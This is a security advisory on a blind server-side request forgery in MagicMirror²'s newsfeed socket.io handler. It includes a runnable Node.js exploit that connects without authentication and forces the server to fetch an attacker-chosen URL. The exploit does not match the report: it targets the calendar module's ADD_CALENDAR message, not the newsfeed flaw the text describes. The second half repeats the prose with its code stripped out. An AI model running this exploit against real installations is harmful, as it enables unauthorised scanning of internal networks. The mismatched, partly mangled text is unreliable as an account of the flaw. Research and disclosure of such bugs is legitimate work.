Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC exploit-ssrf-newsfeed.js.
Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.
Identification
| Field |
Value |
| PoC file |
exploit-ssrf-newsfeed.js |
| Endpoint |
socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL |
| Class |
CWE-918 (Server-Side Request Forgery) |
| Severity |
Medium–High |
| Precondition |
reach the mirror's HTTP port (no authentication required) |
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-newsfeed.js)
const { Manager } = require("socket.io-client");
const TARGET = process.env.MM || "http://target";
const URL_TO_HIT = process.env.SSRF_URL || "http://attacker/";
// ponytail: calendar module accepts ADD_CALENDAR with arbitrary URL -> SSRF
const manager = new Manager(TARGET, {
path: "/socket.io",
transports: ["polling", "websocket"],
reconnection: false
});
const socket = manager.socket("/calendar");
socket.on("connect", () => {
console.log(`[+] /calendar connected`);
console.log(`[*] SSRF -> ${URL_TO_HIT}`);
socket.emit("ADD_CALENDAR", { url: URL_TO_HIT });
});
socket.on("connect_error", (e) => {
console.log(`[-] ${e.message}`);
process.exit(1);
});
socket.onAny((ev, data) => {
console.log(`[<] ${ev}:`, JSON.stringify(data, null, 2));
if (ev === "CALENDAR_EVENTS") {
console.log("[!!!] SSRF success - server fetched URL");
}
});
setTimeout(() => process.exit(0), 10000);
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internal log referenced by the PoC).
- Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
Vulnerability — Blind SSRF via
CHECK_ARTICLE_URL(MagicMirror² newsfeed)Identification
exploit-ssrf-newsfeed.js/newsfeed, notificationCHECK_ARTICLE_URLDescription
The
checkArticleUrl()function innewsfeed/node_helper.jsrunsfetch(url, { method: "HEAD" })with zero validation of the URL and returnsARTICLE_URL_STATUS { url, canFrame }.This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the
canFramefield alone leaks little.Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
The
/newsfeednamespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.Exploit (
exploit-ssrf-newsfeed.js)Vulnerable target code (pattern)
Impact
mm-internallog referenced by the PoC).References